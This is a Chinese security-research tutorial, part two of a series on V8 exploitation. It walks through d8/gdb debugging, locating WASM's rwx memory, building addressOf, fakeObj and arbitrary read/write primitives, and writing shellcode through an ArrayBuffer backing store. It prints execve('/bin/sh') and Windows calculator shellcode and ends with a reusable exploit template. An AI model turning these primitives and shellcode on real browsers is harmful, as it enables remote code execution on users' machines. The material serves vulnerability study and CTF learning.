从 0 开始学 V8 漏洞利用之 V8 通用利用链(二)
2022-2-2 10:0:0 Author: paper.seebug.org(查看原文) 阅读量:26 收藏

作者:[email protected]知道创宇404实验室

相关阅读:从 0 开始学 V8 漏洞利用之环境搭建(一)

经过一段时间的研究,先进行一波总结,不过因为刚开始研究没多久,也许有一些局限性,以后如果发现了,再进行修正。

我认为,在搞漏洞利用前都得明确目标。比如打CTF做二进制的题目,大部分情况下,目标都是执行system(/bin/sh)或者execve(/bin/sh,0,0)

在v8利用上,我觉得也有一个明确的目标,就是执行任意shellcode。当有了这个目标后,下一步就是思考,怎么写shellcode呢?那么就需要有写内存相关的洞,能写到可读可写可执行的内存段,最好是能任意地址写。配套的还需要有任意读,因为需要知道rwx内存段的地址。就算没有任意读,也需要有办法能把改地址泄漏出来(V8的binary保护基本是全开的)。接下来就是需要能控制RIP,能让RIP跳转到shellcode的内存段。

接下来将会根据该逻辑来反向总结一波v8的利用过程。

在总结v8的利用之前,先简单说说v8的调试。

  1. 把该文件v8/tools/gdbinit,加入到~/.gdbinit中:
$ cp v8/tools/gdbinit gdbinit_v8
$ cat ~/.gdbinit
source /home/ubuntu/pwndbg/gdbinit.py
source /home/ubuntu/gdbinit_v8
  1. 使用%DebugPrint(x);来输出变量x的相关信息
  2. 使用%SystemBreak();来抛出int3,以便让gdb进行调试

示例

$ cat test.js
a = [1];
%DebugPrint(a);
%SystemBreak();

如果直接使用d8运行,会报错:

$ ./d8 test.js
test.js:2: SyntaxError: Unexpected token '%'
%DebugPrint(a);
^
SyntaxError: Unexpected token '%'

因为正常情况下,js是没有%这种语法的,需要加入--allow-natives-syntax参数:

$ ./d8 --allow-natives-syntax test.js
DebugPrint: 0x37640804965d: [JSArray]
 - map: 0x376408203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3764081cc139 <JSArray[0]>
 - elements: 0x3764081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x37640800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x376408004905: [String] in ReadOnlySpace: #length: 0x37640814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3764081d30d1 <FixedArray[1]> {
           0: 1
 }
0x376408203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3764080023b5 <undefined>
 - prototype_validity cell: 0x376408142405 <Cell value= 1>
 - instance descriptors #1: 0x3764081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3764081cc609 <TransitionArray[4]>Transition array #1:
     0x376408005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x376408203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3764081cc139 <JSArray[0]>
 - constructor: 0x3764081cbed5 <JSFunction Array (sfi = 0x37640814ad71)>
 - dependent code: 0x3764080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

[1]    35375 trace trap  ./d8 --allow-natives-syntax test.js

接下来试试使用gdb来调试该程序:

$ gdb d8
pwndbg> r --allow-natives-syntax test.js
[New Thread 0x7f6643a61700 (LWP 35431)]
[New Thread 0x7f6643260700 (LWP 35432)]
[New Thread 0x7f6642a5f700 (LWP 35433)]
[New Thread 0x7f664225e700 (LWP 35434)]
[New Thread 0x7f6641a5d700 (LWP 35435)]
[New Thread 0x7f664125c700 (LWP 35436)]
[New Thread 0x7f6640a5b700 (LWP 35437)]
DebugPrint: 0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }
0x3a0c08203a41: [Map]
 - type: JS_ARRAY_TYPE
 - instance size: 16
 - inobject properties: 0
 - elements kind: PACKED_SMI_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - back pointer: 0x3a0c080023b5 <undefined>
 - prototype_validity cell: 0x3a0c08142405 <Cell value= 1>
 - instance descriptors #1: 0x3a0c081cc5ed <DescriptorArray[1]>
 - transitions #1: 0x3a0c081cc609 <TransitionArray[4]>Transition array #1:
     0x3a0c08005245 <Symbol: (elements_transition_symbol)>: (transition to HOLEY_SMI_ELEMENTS) -> 0x3a0c08203ab9 <Map(HOLEY_SMI_ELEMENTS)>

 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - constructor: 0x3a0c081cbed5 <JSFunction Array (sfi = 0x3a0c0814ad71)>
 - dependent code: 0x3a0c080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

然后就能使用gdb命令来查看其内存布局了,另外在之前v8提供的gdbinit中,加入了一些辅助调试的命令,比如job,作用跟%DebufPrint差不多:

pwndbg> job 0x3a0c08049685
0x3a0c08049685: [JSArray]
 - map: 0x3a0c08203a41 <Map(PACKED_SMI_ELEMENTS)> [FastProperties]
 - prototype: 0x3a0c081cc139 <JSArray[0]>
 - elements: 0x3a0c081d30d1 <FixedArray[1]> [PACKED_SMI_ELEMENTS (COW)]
 - length: 1
 - properties: 0x3a0c0800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x3a0c08004905: [String] in ReadOnlySpace: #length: 0x3a0c0814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x3a0c081d30d1 <FixedArray[1]> {
           0: 1
 }

不过使用job命令的时候,其地址要是其真实地址+1,也就是说,在上面的样例中,其真实地址为:0x3a0c08049684

pwndbg> x/4gx 0x3a0c08049685-1
0x3a0c08049684: 0x0800222d08203a41 0x00000002081d30d1
0x3a0c08049694: 0x0000000000000000 0x0000000000000000

如果使用job命令,后面跟着的是其真实地址,会被解析成SMI(small integer)类型:

pwndbg> job 0x3a0c08049685-1
Smi: 0x4024b42 (67259202)

0x4024b42 * 2 == 0x8049684 (SMI只有32bit)

对d8进行简单的调试只要知道这么多就够了。

现如今的浏览器基本都支持WASM,v8会专门生成一段rwx内存供WASM使用,这就给了我们利用的机会。

我们来调试看看:

测试代码:

$ cat test.js
%SystemBreak();
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);

var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
%DebugPrint(f);
%DebugPrint(wasmInstance);
%SystemBreak();

然后使用gdb进行调试,在第一个断点的时候,使用vmmap来查看一下内存段,这个时候内存中是不存在可读可写可执行的内存断的,我们让程序继续运行。

在第二个断点的时候,我们再运行一次vmmap来查看内存段:

pwndbg> vmmap
0x1aca69e92000     0x1aca69e93000 rwxp     1000 0      [anon_1aca69e92]

因为WASM代码的创建,内存中出现可rwx的内存段。接下来的问题就是,我们怎么获取到改地址呢?

首先我们来看看变量f的信息:

DebugPrint: 0x24c6081d3645: [Function] in OldSpace
 - map: 0x24c6082049e1 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - function prototype: <no-prototype-slot>
 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
 - name: 0x24c6080051c5 <String[1]: #0>
 - builtin: GenericJSToWasmWrapper
 - formal_parameter_count: 0
 - kind: NormalFunction
 - context: 0x24c6081c3649 <NativeContext[256]>
 - code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - Wasm instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - Wasm function index: 0
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0x24c608004905: [String] in ReadOnlySpace: #length: 0x24c608142339 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004a35: [String] in ReadOnlySpace: #name: 0x24c6081422f5 <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004029: [String] in ReadOnlySpace: #arguments: 0x24c60814226d <AccessorInfo> (const accessor descriptor), location: descriptor
    0x24c608004245: [String] in ReadOnlySpace: #caller: 0x24c6081422b1 <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - feedback vector: feedback metadata is not available in SFI
0x24c6082049e1: [Map]
 - type: JS_FUNCTION_TYPE
 - instance size: 28
 - inobject properties: 0
 - elements kind: HOLEY_ELEMENTS
 - unused property fields: 0
 - enum length: invalid
 - stable_map
 - callable
 - back pointer: 0x24c6080023b5 <undefined>
 - prototype_validity cell: 0x24c608142405 <Cell value= 1>
 - instance descriptors (own) #4: 0x24c6081d0735 <DescriptorArray[4]>
 - prototype: 0x24c6081c3b5d <JSFunction (sfi = 0x24c60814414d)>
 - constructor: 0x24c608002235 <null>
 - dependent code: 0x24c6080021b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
 - construction counter: 0

可以发现这是一个函数对象,我们来查看一下fshared_info结构的信息:

 - shared_info: 0x24c6081d3621 <SharedFunctionInfo js-to-wasm::i>
pwndbg> job 0x24c6081d3621
0x24c6081d3621: [SharedFunctionInfo] in OldSpace
 - map: 0x24c6080025f9 <Map[36]>
 - name: 0x24c6080051c5 <String[1]: #0>
 - kind: NormalFunction
 - syntax kind: AnonymousExpression
 - function_map_index: 185
 - formal_parameter_count: 0
 - expected_nof_properties:
 - language_mode: sloppy
 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
 - code (from data): 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - script: 0x24c6081d3491 <Script>
 - function token position: 88
 - start position: 88
 - end position: 92
 - no debug info
 - scope info: 0x24c608002739 <ScopeInfo>
 - length: 0
 - feedback_metadata: <none>

接下里再查看其data结构:

 - data: 0x24c6081d35f5 <Other heap object (WASM_EXPORTED_FUNCTION_DATA_TYPE)>
pwndbg> job 0x24c6081d35f5
0x24c6081d35f5: [WasmExportedFunctionData] in OldSpace
 - map: 0x24c608002e7d <Map[44]>
 - target: 0x1aca69e92000
 - ref: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - wrapper_code: 0x24c60000b3a1 <Code BUILTIN GenericJSToWasmWrapper>
 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
 - function_index: 0
 - signature: 0x24c608049bd1 <Foreign>
 - wrapper_budget: 1000

在查看instance结构:

 - instance: 0x24c6081d3509 <Instance map = 0x24c608207439>
pwndbg> job 0x24c6081d3509
0x24c6081d3509: [WasmInstanceObject] in OldSpace
 - map: 0x24c608207439 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x24c608048259 <Object map = 0x24c6082079b1>
 - elements: 0x24c60800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - module_object: 0x24c6080499e5 <Module map = 0x24c6082072d1>
 - exports_object: 0x24c608049b99 <Object map = 0x24c608207a79>
 - native_context: 0x24c6081c3649 <NativeContext[256]>
 - memory_object: 0x24c6081d34f1 <Memory map = 0x24c6082076e1>
 - table 0: 0x24c608049b69 <Table map = 0x24c608207551>
 - imported_function_refs: 0x24c60800222d <FixedArray[0]>
 - indirect_function_table_refs: 0x24c60800222d <FixedArray[0]>
 - managed_native_allocations: 0x24c608049b21 <Foreign>
 - memory_start: 0x7f6e20000000
 - memory_size: 65536
 - memory_mask: ffff
 - imported_function_targets: 0x55a2eca392f0
 - globals_start: (nil)
 - imported_mutable_globals: 0x55a2eca39310
 - indirect_function_table_size: 0
 - indirect_function_table_sig_ids: (nil)
 - indirect_function_table_targets: (nil)
 - properties: 0x24c60800222d <FixedArray[0]>
 - All own properties (excluding elements): {}

仔细查看能发现,instance结构就是js代码中的wasmInstance变量的地址,在代码中我们加入了%DebugPrint(wasmInstance);,所以也会输出该结构的信息,可以去对照看看。

我们再来查看这个结构的内存布局:

pwndbg> x/16gx 0x24c6081d3509-1
0x24c6081d3508: 0x0800222d08207439 0x200000000800222d
0x24c6081d3518: 0x0001000000007f6e 0x0000ffff00000000
0x24c6081d3528: 0xeca1448000000000 0x0800222d000055a2
0x24c6081d3538: 0x000055a2eca392f0 0x000000000800222d
0x24c6081d3548: 0x0000000000000000 0x0000000000000000
0x24c6081d3558: 0x0000000000000000 0x000055a2eca39310
0x24c6081d3568: 0x000055a2eca14420 0x00001aca69e92000

仔细看,能发现,rwx段的起始地址储存在instance+0x68的位置,不过这个不用记,不同版本,这个偏移值可能会有差距,可以在写exp的时候通过上述调试的方式进行查找。

根据WASM的特性,我们的目的可以更细化了,现在我们的目的变为了把shellcode写到WASM的代码段,然后执行WASM函数,那么就能执行shellcode了。

最近我研究的几个V8的漏洞,任意读写都是使用的一个套路,目前我是觉得这个套路很通用的,感觉V8相关的利用都是用这类套路。(不过我学的时间短,这块的眼界也相对短浅,以后可能会遇到其他情况)

首先来看看JavaScript的两种类型的变量的结构:

$ cat test.js
a = [2.1];
b = {"a": 1};
c = [b];
%DebugPrint(a);
%DebugPrint(b);
%DebugPrint(c);
%SystemBreak();

首先是变量a的结构:

DebugPrint: 0xe07080496d1: [JSArray]
 - map: 0x0e0708203ae1 <Map(PACKED_DOUBLE_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> [PACKED_DOUBLE_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e07080496c1 <FixedDoubleArray[1]> {
           0: 2.1
 }
pwndbg> job 0x0e07080496c1
0xe07080496c1: [FixedDoubleArray]
 - map: 0x0e0708002a95 <Map>
 - length: 1
           0: 2.1
pwndbg> x/8gx 0xe07080496d1-1
0xe07080496d0:  0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:  0x0800222d08207961 0x000000020800222d
0xe07080496f0:  0x0001000108005c31 0x080021f900000000
0xe0708049700:  0x0000008808007aad 0x0800220500000002
pwndbg> x/8gx 0x0e07080496c1-1
0xe07080496c0:  0x0000000208002a95 0x4000cccccccccccd
0xe07080496d0:  0x0800222d08203ae1 0x00000002080496c1
0xe07080496e0:  0x0800222d08207961 0x000000020800222d
0xe07080496f0:  0x0001000108005c31 0x080021f900000000

变量a的结构如下:

| 32 bit map addr | 32 bit properties addr | 32 bit elements addr | 32 bit length|

因为在当前版本的v8中,对地址进行了压缩,因为高32bit地址的值是一样的,所以只需要保存低32bit的地址就行了。

elements结构保存了数组的值,结构为:

| 32 bit map addr | 32 bit length | value ......

变量a结构中的length,表示的是当前数组的已经使用的长度,elements表示该数组已经申请的长度,申请了不代表已经使用了。这两个长度在内存中储存的值为实际值的2倍,为啥这么设计,暂时还没了解。

仔细研究上面的内存布局,能发现,elements结构之后是紧跟着变量a的结构。很多洞都是这个时候让变量a溢出,然后这样就可以读写其结构的map和length的值。

接下来在一起看看变量bc:

变量c:
DebugPrint: 0xe0708049719: [JSArray]
 - map: 0x0e0708203b31 <Map(PACKED_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081cc139 <JSArray[0]>
 - elements: 0x0e070804970d <FixedArray[1]> [PACKED_ELEMENTS]
 - length: 1
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708004905: [String] in ReadOnlySpace: #length: 0x0e070814215d <AccessorInfo> (const accessor descriptor), location: descriptor
 }
 - elements: 0x0e070804970d <FixedArray[1]> {
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
 }
变量b:
DebugPrint: 0xe07080496e1: [JS_OBJECT_TYPE]
 - map: 0x0e0708207961 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x0e07081c4205 <Object map = 0xe07082021b9>
 - elements: 0x0e070800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - properties: 0x0e070800222d <FixedArray[0]>
 - All own properties (excluding elements): {
    0xe0708007aad: [String] in ReadOnlySpace: #a: 1 (const data field 0), location: in-object
 }
pwndbg> job 0x0e070804970d
0xe070804970d: [FixedArray]
 - map: 0x0e0708002205 <Map>
 - length: 1
           0: 0x0e07080496e1 <Object map = 0xe0708207961>
pwndbg> x/8gx 0xe0708049719-1
0xe0708049718:  0x0800222d08203b31 0x000000020804970d
0xe0708049728:  0x0000000000000000 0x0000000000000000
0xe0708049738:  0x0000000000000000 0x0000000000000000
0xe0708049748:  0x0000000000000000 0x0000000000000000
pwndbg> x/8gx 0x0e070804970d-1
0xe070804970c:  0x0000000208002205 0x08203b31080496e1
0xe070804971c:  0x0804970d0800222d 0x0000000000000002
0xe070804972c:  0x0000000000000000 0x0000000000000000
0xe070804973c:  0x0000000000000000 0x0000000000000000

变量c的结构和变量a的基本上是一样的,只是变量a储存的是double类型的变量,所以value都是64bit的,而变量c储存的是对象类型的变量,储存的是地址,也对地址进行了压缩,所以长度是32bit。

任意变量地址读

既然内存结构这么一致,那么使用a[0]或者c[0]取值的时候,js是怎么判断结构类型的呢?通过看代码,或者gdb实际测试都能发现,是根据变量结构的map值来确定的。

也就是说如果我把变量c的map地址改成变量a的,那么当我执行c[0]的时候,获取到的就是变量b的地址了。这样,就能达到任意变量地址读的效果,步骤如下:

  1. c[0]的值设置为你想获取地址的变量,比如c[0]=a;
  2. 然后通过漏洞,把c的map地址修改成a的map地址。
  3. 读取c[0]的值,该值就为变量a的低32bit地址。

在本文说的套路中,上述步骤被封装为addressOf函数。

该逻辑还达不到任意地址读的效果,所以还需要继续研究。

double to object

既然我们可以把对象数组变为浮点型数组,那么是不是也可以把浮点型数组变为对象数组,步骤如下:

  1. a[0]的值设置为自己构造的某个对象的地址还需要加1。
  2. 然后通过漏洞,把a的map地址修改成c的map地址。
  3. 获取a[0]的值

这个过程可以封装为fakeObj函数。

任意读

这个时候我们构造这样一个变量:

var fake_array = [
  double_array_map,
  itof(0x4141414141414141n)
];

该变量的结构大致如下:

| 32 bit elements map | 32 bit length | 64 bit double_array_map |
| 64 bit 0x4141414141414141n | 32 bit fake_array map | 32 bit properties |
| 32 bit elements | 32 bit length|

根据分析,理论上来说布局应该如上所示,但是会根据漏洞不通,导致堆布局不通,所以导致elements地址的不同,具体情况,可以写exp的时候根据通过调试来判断。

所以我可以使用addressOf获取fake_array地址:var fake_array_addr = addressOf(fake_array);

计算得到fake_object_addr = fake_array_addr - 0x10n;,然后使用fakeObj函数,得到你构造的对象:var fake_object = fakeObj(fake_object_addr);

这个时候不要去查看fake_object的内容,因为其length字段和elements字段都被设置为了无效值(0x41414141)。

这个时候我们就能通过fake_array数组来达到任意读的目的了,下面就是一个通用的任意读函数read64

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

任意写

同理,也能构造出任意写write64

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

我们可以这么理解上述过程,fakeObj对象相当于把把浮点数数组变量a改成了二维浮点数数组:a = [[1.1]],而fake_array[1]值的内存区域属于fake_object对象的elementslength字段的位置,所以我们可以通过修改fake_array[1]的值,来控制fake_object,以达到任意读写的效果。

写shellcode

不过上述的任意写却没办法把我们的shellcode写到rwx区域,因为写入的地址=实际地址-0x8+0x1,前面还需要有8字节的map地址和length,而rwx区域根据我们调试的时候看到的内存布局,需要从该内存段的起始地址开始写,所以该地址-0x8+0x1是一个无效地址。

所以需要另辟蹊径,来看看下面的代码:

$ cat test.js
var data_buf = new ArrayBuffer(0x10);
var data_view = new DataView(data_buf);
data_view.setFloat64(0, 2.0, true);

%DebugPrint(data_buf);
%DebugPrint(data_view);
%SystemBreak();

首先看看data_buf变量的结构:

DebugPrint: 0x2ead0804970d: [JSArrayBuffer]
 - map: 0x2ead08203271 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x2ead081ca3a5 <Object map = 0x2ead08203299>
 - elements: 0x2ead0800222d <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0x555c12bb9050
 - byte_length: 16
 - detachable
 - properties: 0x2ead0800222d <FixedArray[0]>
 - All own properties (excluding elements): {}
 - embedder fields = {
    0, aligned pointer: (nil)
    0, aligned pointer: (nil)
 }

再来看看backing_store字段的内存:

pwndbg> x/8gx 0x555c12bb9050
0x555c12bb9050: 0x4000000000000000 0x0000000000000000
0x555c12bb9060: 0x0000000000000000 0x0000000000000041
0x555c12bb9070: 0x0000555c12bb9050 0x0000000000000010
0x555c12bb9080: 0x0000000000000010 0x00007ffd653318a8

double型的2.0以十六进制表示就是0x4000000000000000,所以可以看出data_buf变量的值存储在一段连续的内存区域中,通过backing_store指针指向该内存区域。

所以我们可以利用该类型,通过修改backing_store字段的值为rwx内存地址,来达到写shellcode的目的。

看看backing_store字段在data_buf变量结构中的位置:

pwndbg> x/16gx 0x2ead0804970d-1
0x2ead0804970c: 0x0800222d08203271 0x000000100800222d
0x2ead0804971c: 0x0000000000000000 0x12bb905000000000
0x2ead0804972c: 0x12bb90b00000555c 0x000000020000555c
0x2ead0804973c: 0x0000000000000000 0x0000000000000000
0x2ead0804974c: 0x0800222d08202ca9 0x0804970d0800222d
0x2ead0804975c: 0x0000000000000000 0x0000000000000010
0x2ead0804976c: 0x0000555c12bb9050 0x0000000000000000
0x2ead0804977c: 0x0000000000000000 0x0000000000000000

发现backing_store的地址属于data_buf + 0x1C,这个偏移在不同版本的v8中也是有一些区别的,所以写exp的时候,可以根据上面的步骤来进行计算。

根据上述的思路,我们可以写出copy_shellcode_to_rwx函数:

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

在linux环境下,我们测试的时候想执行一下execve(/bin/sh,0,0)的shellcode,就可以这样:

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

如果想执行windows的弹计算器的shellcode,代码只需要改shellcode变量的值就好了,其他的就不用修改了:

var shellcode = [
    0xc0e8f0e48348fcn,
    0x5152504151410000n,
    0x528b4865d2314856n,
    0x528b4818528b4860n,
    0xb70f4850728b4820n,
    0xc03148c9314d4a4an,
    0x41202c027c613cacn,
    0xede2c101410dc9c1n,
    0x8b20528b48514152n,
    0x88808bd001483c42n,
    0x6774c08548000000n,
    0x4418488b50d00148n,
    0x56e3d0014920408bn,
    0x4888348b41c9ff48n,
    0xc03148c9314dd601n,
    0xc101410dc9c141acn,
    0x244c034cf175e038n,
    0x4458d875d1394508n,
    0x4166d0014924408bn,
    0x491c408b44480c8bn,
    0x14888048b41d001n,
    0x5a595e58415841d0n,
    0x83485a4159415841n,
    0x4158e0ff524120ecn,
    0xff57e9128b485a59n,
    0x1ba485dffffn,
    0x8d8d480000000000n,
    0x8b31ba4100000101n,
    0xa2b5f0bbd5ff876fn,
    0xff9dbd95a6ba4156n,
    0x7c063c28c48348d5n,
    0x47bb0575e0fb800an,
    0x894159006a6f7213n,
    0x2e636c6163d5ffdan,
    0x657865n,
];
copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

在上面的示例代码中,出现了几个没说明的函数,以下是这几个函数的代码:

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}

function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}

function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}

function d2u(v) {
  f64[0] = v;
  return u32;
}

因为在上述思路中,都是使用浮点型数组,其值为浮点型,但是浮点型的值我们看着不顺眼,设置值我们也是习惯使用十六进制值。所以需要有ftoiitof来进行浮点型和64bit的整数互相转换。

但是因为在新版的v8中,有压缩高32bit地址的特性,所以还需要u2dd2u两个,把浮点型和32bit整数进行互相转换的函数。

最后还有一个hex函数,就是方便我们查看值:

function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

目前在我看来,不说所有v8的漏洞,但是所有类型混淆类的漏洞都能使用同一套模板:

var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;

var f64 = new Float64Array(1);
var bigUint64 = new BigUint64Array(f64.buffer);
var u32 = new Uint32Array(f64.buffer);

function d2u(v) {
  f64[0] = v;
  return u32;
}
function u2d(lo, hi) {
  u32[0] = lo;
  u32[1] = hi;
  return f64[0];
}
function ftoi(f)
{
  f64[0] = f;
    return bigUint64[0];
}
function itof(i)
{
    bigUint64[0] = i;
    return f64[0];
}
function hex(i)
{
    return i.toString(16).padStart(8, "0");
}

function fakeObj(addr_to_fake)
{
    ?
}

function addressOf(obj_to_leak)
{
    ?
}

function read64(addr)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    return fake_object[0];
}

function write64(addr, data)
{
    fake_array[1] = itof(addr - 0x8n + 0x1n);
    fake_object[0] = itof(data);
}

function copy_shellcode_to_rwx(shellcode, rwx_addr)
{
  var data_buf = new ArrayBuffer(shellcode.length * 8);
  var data_view = new DataView(data_buf);
  var buf_backing_store_addr_lo = addressOf(data_buf) + 0x18n;
  var buf_backing_store_addr_up = buf_backing_store_addr_lo + 0x8n;
  var lov = d2u(read64(buf_backing_store_addr_lo))[0];
  var rwx_page_addr_lo = u2d(lov, d2u(rwx_addr)[0]);
  var hiv = d2u(read64(buf_backing_store_addr_up))[1];
  var rwx_page_addr_hi = u2d(d2u(rwx_addr, hiv)[1]);
  var buf_backing_store_addr = ftoi(u2d(lov, hiv));
  console.log("[*] buf_backing_store_addr: 0x"+hex(buf_backing_store_addr));

  write64(buf_backing_store_addr_lo, ftoi(rwx_page_addr_lo));
  write64(buf_backing_store_addr_up, ftoi(rwx_page_addr_hi));
  for (let i = 0; i < shellcode.length; ++i)
    data_view.setFloat64(i * 8, itof(shellcode[i]), true);
}

var double_array = [1.1];
var obj = {"a" : 1};
var obj_array = [obj];
var array_map = ?;
var obj_map = ?;

var fake_array = [
  array_map,
  itof(0x4141414141414141n)
];

fake_array_addr = addressOf(fake_array);
console.log("[*] leak fake_array addr: 0x" + hex(fake_array_addr));
fake_object_addr = fake_array_addr - 0x10n;
var fake_object = fakeObj(fake_object_addr);
var wasm_instance_addr = addressOf(wasmInstance);
console.log("[*] leak wasm_instance addr: 0x" + hex(wasm_instance_addr));
var rwx_page_addr = read64(wasm_instance_addr + 0x68n);
console.log("[*] leak rwx_page_addr: 0x" + hex(ftoi(rwx_page_addr)));

var shellcode = [
  0x2fbb485299583b6an,
  0x5368732f6e69622fn,
  0x050f5e5457525f54n
];

copy_shellcode_to_rwx(shellcode, rwx_page_addr);
f();

其中打问号的地方,需要根据具体情况来编写,然后就是有些偏移需要根据v8版本情况进行修改,但是主体结构基本雷同。

之后的文章中,打算把我最近研究复现的几个漏洞,套进这个模板中,来进行讲解。


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1821/



文章来源: http://paper.seebug.org/1821/
如有侵权请联系:admin#unsafe.sh